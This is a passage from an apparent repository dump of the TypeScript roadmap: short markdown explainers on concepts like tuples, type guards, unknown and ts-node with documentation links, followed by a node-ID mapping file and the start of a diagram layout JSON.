    "path": "src/data/roadmaps/typescript/content/ts-and-js-interoperability@dcLaEU_lb0z_QypL1ZhpX.md",
    "content": "# TS and JS Interoperability\n\nTypeScript and JavaScript interoperability refers to the ability of TypeScript code to work seamlessly with existing JavaScript code and vice versa. This means you can use JavaScript libraries in your TypeScript projects and gradually migrate JavaScript code to TypeScript without rewriting everything at once. It allows for a smooth transition by leveraging existing codebases and libraries while adopting the benefits of TypeScript.\n\nVisit the following resources to learn more:\n\n- [@official@Type Checking JavaScript Files](https://www.typescriptlang.org/docs/handbook/type-checking-javascript-files.html)\n- [@video@Using JavaScript in TypeScript](https://youtu.be/AZhZlEbBaB4)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/ts-node@ZCM2_X4BiKh5FTCizrr-E.md",
    "content": "# ts-node\n\nts-node is a package that lets you directly run TypeScript code without needing to pre-compile it into JavaScript. It does this by providing a TypeScript execution environment for Node.js, allowing you to execute `.ts` files directly from the command line or by using it as a Node.js module. Essentially, it combines the TypeScript compiler (`tsc`) and Node.js into a single, streamlined process.\n\nVisit the following resources to learn more:\n\n- [@opensource@ts-node - GitHub Project](https://github.com/TypeStrong/ts-node)\n- [@article@How To Run TypeScript Scripts with ts-node](https://www.digitalocean.com/community/tutorials/typescript-running-typescript-ts-node)\n- [@feed@Explore top posts about TypeScript](https://app.daily.dev/tags/typescript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/ts-playground@_bZ71i36haWgHQTY0yMOx.md",
    "content": "# TS Playground\n\nThe TS Playground is an online, interactive environment that allows you to write, compile, and share TypeScript code directly in your web browser. It provides immediate feedback on your code, showing compilation errors and the resulting JavaScript output in real-time. This makes it a convenient tool for experimenting with TypeScript features, prototyping small projects, and quickly testing code snippets without needing a local development environment.\n\nVisit the following resources to learn more:\n\n- [@official@TypeScript Official - Playground](https://www.typescriptlang.org/play)\n- [@feed@Explore top posts about TypeScript](https://app.daily.dev/tags/typescript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/tsc@Iv_t13PSVzet5VPKFtAp1.md",
    "content": "# tsc\n\n`tsc` is the command-line compiler for TypeScript. It takes TypeScript code as input and transforms it into JavaScript code that can be executed by browsers or other JavaScript runtimes like Node.js. You use `tsc` to check for type errors, enforce coding standards, and ultimately prepare your TypeScript code for deployment.\n\nVisit the following resources to learn more:\n\n- [@official@tsc CLI Options](https://www.typescriptlang.org/docs/handbook/compiler-options.html#using-the-cli)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/tsconfigjson@DmqrX56d9KnBcOSwlJR2q.md",
    "content": "# tsconfig.json\n\n`tsconfig.json` is a configuration file that specifies how the TypeScript compiler should transpile your TypeScript code into JavaScript. It controls various compilation options such as target ECMAScript version, module system, and source maps. This file lives at the root of a TypeScript project and allows you to define the project's compilation settings in a declarative and reproducible manner.\n\nVisit the following resources to learn more:\n\n- [@official@What is a tsconfig.json](https://www.typescriptlang.org/docs/handbook/tsconfig-json.html#handbook-content)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/tuple@jq-GD0DLyzrEXQKUmt5kv.md",
    "content": "# Tuple\n\nA tuple is a typed array with a pre-defined length and types for each index. Each position in the tuple can have its own specific type, allowing you to create arrays with a known structure where the type of element is known at each index. Tuples ensure that the number of elements matches the defined length and that each element is of the expected type.\n\nVisit the following resources to learn more:\n\n- [@official@Tuple Types](https://www.typescriptlang.org/docs/handbook/2/objects.html#tuple-types)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/type-aliases@M_3O21zjppgWptIT5dtu8.md",
    "content": "# Type Aliases\n\nType aliases in TypeScript create a new name for an existing type. This new name can then be used anywhere you would normally use the original type. They don't create a new type; instead, they offer a more readable and convenient way to refer to potentially complex or frequently used types, such as unions, intersections, or tuple types.\n\nVisit the following resources to learn more:\n\n- [@official@Type Aliases](https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#type-aliases)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/type-compatibility@alMJCEyUZ90xz-2_g3YRj.md",
    "content": "# Type Compatibility\n\nTypeScript uses structural typing to determine type compatibility. This means that two types are considered compatible if they have the same structure, regardless of their names.\n\nHere's an example of type compatibility in TypeScript:\n\n    interface Point {\n      x: number;\n      y: number;\n    }\n    \n    let p1: Point = { x: 10, y: 20 };\n    let p2: { x: number; y: number } = p1;\n    \n    console.log(p2.x); // Output: 10\n    \n\nIn this example, `p1` has the type `Point`, while `p2` has the type `{ x: number; y: number }`. Despite the fact that the two types have different names, they are considered compatible because they have the same structure. This means that you can assign a value of type `Point` to a variable of type `{ x: number; y: number }`, as we do with `p1` and `p2` in this example.\n\nVisit the following resources to learn more:\n\n- [@official@Type Compatibility](https://www.typescriptlang.org/docs/handbook/type-compatibility.html)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/type-guards--narrowing@cFZsxpYHDxm7IWwergb3r.md",
    "content": "# Type Guards / Narrowing\n\nType guards and narrowing are techniques in TypeScript used to refine the type of a variable within a specific scope. They allow you to tell the TypeScript compiler that a variable is more specific than its declared type, enabling you to safely perform operations that would otherwise result in type errors. This is particularly useful when dealing with union types or situations where the initial type of a variable is broad.\n\nVisit the following resources to learn more:\n\n- [@official@Type Guards - TypeScript Docs](https://www.typescriptlang.org/docs/handbook/2/narrowing.html#typeof-type-guards)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/type-inference@KUur-gfOBQodTS-irFet7.md",
    "content": "# Type Inference\n\nType inference is the automatic deduction of the data type of an expression in a programming language. Instead of explicitly declaring the type of a variable, the compiler or interpreter can infer it based on the value assigned to it or how it's used within the code. This reduces the need for verbose type annotations, making code more concise and readable while still providing the benefits of type safety.\n\nVisit the following resources to learn more:\n\n- [@official@Type Inference](https://www.typescriptlang.org/docs/handbook/type-inference.html#handbook-content)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/type-predicates@1DOSAieOmWUNNsQQrqf2m.md",
    "content": "# Type Predicates\n\nType predicates are a way to refine the type of a variable within a TypeScript function. They're used to tell the TypeScript compiler that a specific condition guarantees a variable is of a certain type. Instead of the compiler inferring the type based on basic checks, a type predicate explicitly asserts that if a function returns `true`, the argument must be of the specified type.\n\nVisit the following resources to learn more:\n\n- [@official@Type Guards and Differentiating Types](https://www.typescriptlang.org/docs/handbook/2/narrowing.html#using-type-predicates)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/typeof@ZiOcFZy85p7tLzUkyKDei.md",
    "content": "# typeof Type Guards\n\n`typeof` in TypeScript is a way to narrow down the type of a variable based on its JavaScript `typeof` operator result. This allows you to write more precise code by checking the type of a variable (like string, number, boolean, symbol, or object) and then treating it accordingly within a specific block of code. By inspecting a variable's fundamental JavaScript type, TypeScript can infer a more specific type within that conditional block, helping catch potential errors and enabling safer operations.\n\nVisit the following resources to learn more:\n\n- [@official@Type Guards and Differentiating Types](https://www.typescriptlang.org/docs/handbook/2/narrowing.html#typeof-type-guards)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/types-vs-interfaces@TxkEpoOiuUm-fXJuFVKcH.md",
    "content": "# Types vs Interfaces\n\nIn TypeScript, both types and interfaces are ways to define the shape of an object. They specify what properties an object should have and the data type of those properties. Types can describe simple types like primitives (string, number, boolean) or more complex structures like unions and intersections, while interfaces are primarily used to define the structure of objects, including their properties and methods. The key difference lies in their extensibility and use cases.\n\nVisit the following resources to learn more:\n\n- [@official@Interfaces vs. Type Aliases](https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#differences-between-type-aliases-and-interfaces)\n- [@article@Interfaces vs Types in TypeScript](https://stackoverflow.com/questions/37233735/interfaces-vs-types-in-typescript)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/typescript-functions@qOynVkDi1gFz0mxyJHjfJ.md",
    "content": "# TypeScript Functions\n\nFunctions in TypeScript are reusable blocks of code designed to perform specific tasks. They can accept inputs (parameters), process them, and return a result. TypeScript enhances JavaScript functions by adding type annotations to parameters and return values, enabling better code clarity and error checking during development. This helps ensure that functions receive and produce the expected data types, leading to more robust and maintainable code.\n\nVisit the following resources to learn more:\n\n- [@official@Functions in TypeScript](https://www.typescriptlang.org/docs/handbook/2/functions.html)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/typescript-interfaces@aH1DxiG5xrdNlKutJ_gTz.md",
    "content": "# TypeScript Interfaces\n\nInterfaces in TypeScript are a way to define a contract for the structure of an object. They describe the shape that an object should have, specifying the names, types, and optionality of its properties. Essentially, an interface names a specific combination of fields and their types. These interfaces don't compile into JavaScript; they are purely a TypeScript construct used for type-checking during development.\n\nVisit the following resources to learn more:\n\n- [@official@TypeScript - Interfaces](https://www.typescriptlang.org/docs/handbook/2/objects.html)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/typescript-modules@sE9lqkkqwnsVJxTJv37YZ.md",
    "content": "# TypeScript Modules\n\nModules in TypeScript (and JavaScript) are a way to organize code into reusable and manageable blocks. Each module encapsulates its own variables, functions, classes, and interfaces, preventing naming collisions and promoting code modularity. Modules explicitly export parts that other code can use and import modules to gain access to their exported functionalities.\n\nVisit the following resources to learn more:\n\n- [@official@Modules](https://www.typescriptlang.org/docs/handbook/modules.html#handbook-content)\n- [@video@TypeScript - Modules](https://www.youtube.com/watch?v=EpOPR03z4Vw)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/typescript-types@qcrGApxNzkGYxgcd7o45d.md",
    "content": "# TypeScript Types\n\nTypeScript Types define the kind of values a variable can hold. They essentially act as labels that specify the allowed data types, like numbers, strings, or more complex objects. By assigning types, TypeScript can perform static type checking, catching potential errors during development before the code is even run. This helps improve code reliability and makes it easier to understand how data flows through your application.\n\nVisit the following resources to learn more:\n\n- [@official@TypeScript - Everyday Types](https://www.typescriptlang.org/docs/handbook/2/everyday-types.html)\n- [@feed@Explore top posts about TypeScript](https://app.daily.dev/tags/typescript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/typescript-vs-javascript@MQWzN_kXxVJMOYbRXSGJc.md",
    "content": "# TypeScript vs JavaScript\n\nTypeScript and JavaScript are both programming languages used for web development. JavaScript is a dynamic language that is interpreted at runtime by the browser, meaning that type errors are only caught when the code is executed. TypeScript, on the other hand, is a superset of JavaScript that adds optional static typing. This allows developers to catch errors during development and before runtime, leading to more robust and maintainable code. TypeScript code must be compiled into JavaScript before it can be run in a browser or other JavaScript environment.\n\nVisit the following resources to learn more:\n\n- [@official@Learning JavaScript and TypeScript](https://www.typescriptlang.org/docs/handbook/typescript-from-scratch.html#learning-javascript-and-typescript)\n- [@article@TypeScript vs. JavaScript](https://thenewstack.io/typescript-vs-javascript/)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/typing-functions@9FIhHwDNzyKpb42NmSv3K.md",
    "content": "# Typing Functions\n\nFunctions in programming are reusable blocks of code that perform specific tasks. Typing functions in TypeScript means defining the types of the parameters a function accepts and the type of value it returns. This allows the TypeScript compiler to verify that functions are used correctly, preventing type-related errors at runtime and enhancing code maintainability and readability.\n\nVisit the following resources to learn more:\n\n- [@official@TypeScript Functions](https://www.typescriptlang.org/docs/handbook/2/functions.html)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/undefined@Sa6IZtM4XJstultz-pbh0.md",
    "content": "# undefined\n\nJavaScript has two primitive values used to signal absent or uninitialized value: `null` (absent) and `undefined` (uninitialized).\n\nTypeScript has two corresponding _types_ by the same names. How these types behave depends on whether you have the `strictNullChecks` option on.\n\nWith `strictNullChecks` off, values that might be `null` or `undefined` can still be accessed normally, and the values `null` and `undefined` can be assigned to a property of any type. This is similar to how languages without `null` checks (e.g. C#, Java) behave. The lack of checking for these values tends to be a major source of bugs; TypeScript always recommend people turn `strictNullChecks` on if it’s practical to do so in the codebase.\n\nWith `strictNullChecks` on, when a value is `null` or `undefined`, you will need to test for those values before using methods or properties on that value. Just like checking for `undefined` before using an optional property, we can use narrowing to check for values that might be `null`:\n\n    function doSomething(x: string | null) {\n      if (x === null) {\n        // do nothing\n      } else {\n        console.log('Hello, ' + x.toUpperCase());\n      }\n    }\n\nVisit the following resources to learn more:\n\n- [@official@null and undefined](https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#null-and-undefined)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/union-types@5z5w3yv1HbOpMlzEd4Iot.md",
    "content": "# Union Types\n\nUnion types allow a variable to hold values of different types. This means you can specify that a variable can be, for example, either a `string` or a `number`. You define a union type using the pipe (`|`) symbol to separate the possible types. This provides flexibility in situations where a variable might accept multiple different data types.\n\nVisit the following resources to learn more:\n\n- [@official@Union Types in TypeScript](https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#union-types)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/unknown@O2TYbd9i_OQwQk2dKh-ly.md",
    "content": "# Unknown Type\n\nThe `unknown` type in TypeScript represents a value that can be anything. Unlike `any`, which essentially disables type checking, `unknown` forces you to perform type checks or type assertions before you can perform operations on a value declared as `unknown`. This helps prevent unexpected errors at runtime by ensuring you've handled the potential type of the value.\n\nVisit the following resources to learn more:\n\n- [@official@Unknown Type in TypeScript](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-3-0.html#new-unknown-top-type)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/useful-packages@PCX3KcvMUW3mmQEepLTXp.md",
    "content": "# Useful Packages\n\nTypeScript has a large ecosystem of packages that can be used to extend the language or to add functionality to your project.\n\nVisit the following resources to learn more:\n\n- [@official@zod](https://zod.dev/)\n- [@official@ts-node](https://typestrong.org/ts-node)\n- [@opensource@ts-morph](https://github.com/dsherret/ts-morph)\n- [@opensource@ts-jest](https://github.com/kulshekhar/ts-jest)\n- [@opensource@typesync](https://github.com/jeffijoe/typesync)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/utility-types@LSwUHfalnk5MgHt21PANb.md",
    "content": "# Utility Types\n\nUtility Types in TypeScript are built-in generic types that perform common type transformations. They allow you to create new types based on existing ones by applying operations like making properties optional, required, readonly, or picking specific properties. These utilities enhance type safety and code reusability by enabling you to express complex type manipulations in a concise and declarative way.\n\nVisit the following resources to learn more:\n\n- [@official@TypeScript - Utility Types](https://www.typescriptlang.org/docs/handbook/utility-types.html)\n- [@article@TypeScript Utility Types Guide](https://camchenry.com/blog/typescript-utility-types)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/void@yLlQg7BF--ZwRHbXBWfOi.md",
    "content": "# Void Type\n\nThe `void` type in TypeScript represents the absence of a value. It is commonly used as the return type of functions that do not return any value, essentially indicating that the function performs an action but doesn't produce a result. A function declared with a `void` return type is not expected to return any data back to the caller.\n\nVisit the following resources to learn more:\n\n- [@official@void - TypeScript Docs](https://www.typescriptlang.org/docs/handbook/2/functions.html#void)"
  },
  {
    "path": "src/data/roadmaps/typescript/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/typescript/migration-mapping.json",
    "content": "{\n  \"typescript\": \"KDd40JOAvZ8O1mfhTYB3K\",\n  \"typescript:typescript-vs-javascript\": \"MQWzN_kXxVJMOYbRXSGJc\",\n  \"typescript:ts-js-interoperability\": \"dcLaEU_lb0z_QypL1ZhpX\",\n  \"typescript:install-configure\": \"dA8CNQOgJRDa0T7rmyS7f\",\n  \"typescript:install-configure:tsconfig-json\": \"DmqrX56d9KnBcOSwlJR2q\",\n  \"typescript:install-configure:compiler-options\": \"RrExVb7l2gd0s_TlNdLeD\",\n  \"typescript:running-typescript\": \"qdy4ZIY2EKgmPNdu_ndcg\",\n  \"typescript:running-typescript:tsc\": \"Iv_t13PSVzet5VPKFtAp1\",\n  \"typescript:running-typescript:ts-node\": \"ZCM2_X4BiKh5FTCizrr-E\",\n  \"typescript:running-typescript:ts-playground\": \"_bZ71i36haWgHQTY0yMOx\",\n  \"typescript-types\": \"qcrGApxNzkGYxgcd7o45d\",\n  \"typescript-types:type-assertions:as-const\": \"pGFnTqi0-RSj0YRmNA5iy\",\n  \"typescript-types:type-assertions:as-type\": \"Ba0baUbomrW9td_K8U-5L\",\n  \"typescript-types:type-assertions:as-any\": \"afTNr36VqeXoJpHxm2IoS\",\n  \"typescript-types:type-assertions:non-null-assertion\": \"mjaL5ocLnM8VQlhUxW6KU\",\n  \"typescript-types:satisfies-keyword\": \"HD1UGOidp7JGKdW6CEdQ_\",\n  \"typescript-types:boolean\": \"hfIHxa5i_5rEpjtzqEsic\",\n  \"typescript-types:number\": \"UH9d3cvGy_e67WFNFwCyf\",\n  \"typescript-types:string\": \"d8iV-IBZ6cSnH8Z5_HRmc\",\n  \"typescript-types:void\": \"yLlQg7BF--ZwRHbXBWfOi\",\n  \"typescript-types:undefined\": \"Sa6IZtM4XJstultz-pbh0\",\n  \"typescript-types:null\": \"cjAwawhZLo1qVQ93XIdm2\",\n  \"typescript-types:interface\": \"mVKsM7R4Ivpdhnbwt1aRb\",\n  \"typescript-types:class\": \"tTSITP1W1ymS-njbFb8Ts\",\n  \"typescript-types:enum\": \"bfZIXHceDKDGQl-24kQpT\",\n  \"typescript-types:array\": \"YbDuIo1BbZKEAZwmXlCdZ\",\n  \"typescript-types:tuple\": \"jq-GD0DLyzrEXQKUmt5kv\",\n  \"typescript-types:any\": \"yXiLegSlL7SveU8rBGj8U\",\n  \"typescript-types:object\": \"vnqvm_WiaKqpdxrW4wRGa\",\n  \"typescript-types:unknown\": \"O2TYbd9i_OQwQk2dKh-ly\",\n  \"typescript-types:never\": \"0pi9VTbngcAIswuu5LIYg\",\n  \"type-inference\": \"KUur-gfOBQodTS-irFet7\",\n  \"type-compatibility\": \"alMJCEyUZ90xz-2_g3YRj\",\n  \"combining-types\": \"qefnsugcveizVq2TORRgn\",\n  \"combining-types:union-types\": \"5z5w3yv1HbOpMlzEd4Iot\",\n  \"combining-types:intersection-types\": \"RWYXEZMODUrqwRWf_Lqi9\",\n  \"combining-types:type-aliases\": \"M_3O21zjppgWptIT5dtu8\",\n  \"combining-types:keyof-operator\": \"t1Tcesfq7bV2TkHcfD6lU\",\n  \"type-guards\": \"cFZsxpYHDxm7IWwergb3r\",\n  \"type-guards:instanceof-operator\": \"EDOU5a7UK17yp3PdFBJMc\",\n  \"type-guards:typeof-operator\": \"ZiOcFZy85p7tLzUkyKDei\",\n  \"type-guards:equality\": \"Wy2yIK5vgLjEcc9VjuQK5\",\n  \"type-guards:truthiness\": \"Xonbxc7MvMEonKBvbkCAH\",\n  \"type-guards:type-predicates\": \"1DOSAieOmWUNNsQQrqf2m\",\n  \"functions\": \"qOynVkDi1gFz0mxyJHjfJ\",\n  \"functions:typing-functions\": \"9FIhHwDNzyKpb42NmSv3K\",\n  \"functions:function-overloading\": \"-0Zp6b8NjDyz9MAQE3HfS\",\n  \"interfaces\": \"aH1DxiG5xrdNlKutJ_gTz\",\n  \"interfaces:types-vs-interfaces\": \"TxkEpoOiuUm-fXJuFVKcH\",\n  \"interfaces:extending-interfaces\": \"O-9WQqidujLIEOTcOfy4n\",\n  \"interfaces:interface-declaration\": \"fY40W8prpgiNqRL50w7ub\",\n  \"interfaces:hybrid-types\": \"lvtTSHH9yBTCiLng8btnI\",\n  \"classes\": \"ib0jfZzukYOZ42AdJqt_W\",\n  \"classes:constructor-params\": \"3XrKbK5Od2eoM0BLaS4kU\",\n  \"classes:constructor-overloading\": \"oxzcYXxy2I7GI7nbvFYVa\",\n  \"classes:access-modifiers\": \"RJ7on8WoxrKcXrR3qY5Rs\",\n  \"classes:abstract-classes\": \"tZFWeWHdOUJcCEtHfXH9p\",\n  \"classes:inheritance-vs-polymorphism\": \"8P0-vb9nlnmz7iC4UvyJZ\",\n  \"classes:method-overriding\": \"aknqutxN2WDQ4RFcT-szM\",\n  \"generics\": \"4gaKqNtGLFqpk9WVKZl0v\",\n  \"generics:generic-types\": \"T2-VAVfntouJOoWHpHZ3n\",\n  \"generics:generic-constraints\": \"0NXHAOUYGIwuPwlN7r_B3\",\n  \"decorators\": \"TRx3wvWnRdJJf5eL-GBG4\",\n  \"utility-types\": \"LSwUHfalnk5MgHt21PANb\",\n  \"utility-types:partial\": \"gBTem9Dp3IQLAkqGX4fOF\",\n  \"utility-types:pick\": \"E88tHQvARkHURZwGaO02l\",\n  \"utility-types:omit\": \"yjlxygHl8QONNUrdx-Q0A\",\n  \"utility-types:readonly\": \"IuO9-O_DQdDYuAbdGWdgb\",\n  \"utility-types:record\": \"DRdBmF5Dt_r09LoPOxOuq\",\n  \"utility-types:exclude\": \"0fvOXi9gJbEc7etqTggNE\",\n  \"utility-types:extract\": \"IIAbAzXiVQm1JEi2MTMZN\",\n  \"utility-types:non-nullable\": \"_BAZlBEzE7ddr315OeHvl\",\n  \"utility-types:parameters\": \"a7hl0iMZ-jcUACxqIYVqv\",\n  \"utility-types:return-type\": \"On75JR_UkiIlha0_qaSeu\",\n  \"utility-types:instance-type\": \"izGAjNtrh3BzQt3KiZX0W\",\n  \"utility-types:awaited\": \"aEhI_9mFWXRIZh1ZxTuzu\",\n  \"advanced-types\": \"2F7vOL__v9dLBohA263aj\",\n  \"advanced-types:mapped-types\": \"VQ-V9qIdKgnpSJg2UnpuB\",\n  \"advanced-types:conditional-types\": \"ubGIhi-WLE0EopTYXzmPL\",\n  \"advanced-types:literal-types\": \"CWzGwvl6NwYCaLYSLIjqQ\",\n  \"advanced-types:template-literal-types\": \"xP25nGw42VqdfZ_9pDMXd\",\n  \"advanced-types:recursive-types\": \"N8xBTJ74xv1E5hSLYZtze\",\n  \"modules\": \"sE9lqkkqwnsVJxTJv37YZ\",\n  \"modules:namespaces\": \"EtVwQ4lnWi3IIFHGb2Qib\",\n  \"modules:ambient-modules\": \"k_5y77k8ZZ9_O2WpWXWTY\",\n  \"modules:external-modules\": \"egQWk1n3p8Pep83yIwCtI\",\n  \"modules:namespace-augmentation\": \"16TT8R4N-9tCfWmPetqMP\",\n  \"modules:global-augmentation\": \"JQwWeB1gkANSYfQmH69Bs\",\n  \"ecosystem\": \"RqZaWGxxNRItBhVwWKysc\",\n  \"ecosystem:formatting\": \"fU8Vnw1DobM4iXl1Tq6EK\",\n  \"ecosystem:linting\": \"8PcAPOrKisKRYPWamz4nV\",\n  \"ecosystem:useful-packages\": \"PCX3KcvMUW3mmQEepLTXp\",\n  \"ecosystem:build-tools\": \"I5uwfej5XMwR2N2gpBILh\"\n}"
  },
  {
    "path": "src/data/roadmaps/typescript/typescript.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"ZB1TdxJOvkLqmiyBiPb8B\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 226.76672552017453,\n        \"y\": 1002.2460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.55,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 97,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 97\n      },\n      \"positionAbsolute\": {\n        \"x\": 226.76672552017453,\n        \"y\": 1002.2460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 97\n      }\n    },\n    {\n      \"id\": \"qnLkLaY7Nt73nuaRxLJsg\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 73.72726894500988,\n        \"y\": 782.1906788074556\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.55\n        },\n        \"oldId\": \"ZB1TdxJOvkLqmiyBiPb8B\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 502,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 502\n      },\n      \"positionAbsolute\": {\n        \"x\": 73.72726894500988,\n        \"y\": 782.1906788074556\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 502\n      }\n    },\n    {\n      \"id\": \"IkitRuGt2Pud6aootSJB-\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 84.76672552017453,\n        \"y\": 992.3816252596685\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.55\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 84.76672552017453,\n        \"y\": 992.3816252596685\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"d86vtx3nM-5mhQWgMUfcT\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -419.22982819582353,\n        \"y\": 595.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 116,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 116\n      },\n      \"positionAbsolute\": {\n        \"x\": -419.22982819582353,\n        \"y\": 595.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 116\n      }\n    },\n    {\n      \"id\": \"_4my3Mfk5lxztykcJQ66s\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -163.95968546864998,\n        \"y\": 366.7475379479448\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 250,\n      \"height\": 161,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 161\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -163.95968546864998,\n        \"y\": 366.7475379479448\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 161\n      }\n    },\n    {\n      \"id\": \"v-557S7JKWhkSPaDYi0BN\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 65.04031453135002,\n        \"y\": 298.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 65.04031453135002,\n        \"y\": 298.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"h-SAVlYMgS3y0WmKNd9r9\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 168.76672552017453,\n        \"y\": 143.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 273,\n      \"height\": 526,\n      \"style\": {\n        \"width\": 273,\n        \"height\": 526\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 168.76672552017453,\n        \"y\": 143.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 526\n      }\n    },\n    {\n      \"id\": \"OnZEUqOyO3OtLtfJRLcas\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 206.76672552017453,\n        \"y\": 20.730429370829597\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"oldId\": \"pQNklz7gALnQrIaPu97LH\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 65,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 65\n      },\n      \"positionAbsolute\": {\n        \"x\": 206.76672552017453,\n        \"y\": 20.730429370829597\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 65\n      }\n    },\n    {\n      \"id\": \"pQNklz7gALnQrIaPu97LH\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 333.26672552017453,\n        \"y\": 21.21599278857485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      